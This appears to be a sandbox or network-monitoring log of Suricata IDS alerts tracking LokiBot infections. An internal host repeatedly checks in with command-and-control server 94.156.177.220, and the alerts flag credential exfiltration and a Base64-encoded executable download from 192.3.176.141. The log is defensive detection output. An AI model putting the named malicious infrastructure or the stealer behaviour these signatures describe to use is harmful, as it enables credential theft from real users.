Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49202 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49191 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49215 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49186 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49191
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49178 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49202
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49211 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49211
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49205 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49224 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49190 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49189 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49182 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49214 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49229 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49192 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49224
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49228 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49215
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49204 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49207 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49232 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49185 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49181 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49209 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49198 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49179 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49230 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49184 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49183 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49177 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49217 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49187 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49229
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49213 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49210 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49188 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49205
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49232
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49194 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49186
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 192.3.176.141:80 -> 192.168.2.22:49176
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49192
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49210
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49226 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49187 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49189
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49230
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49201 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49201 -> 94.156.177.220:80
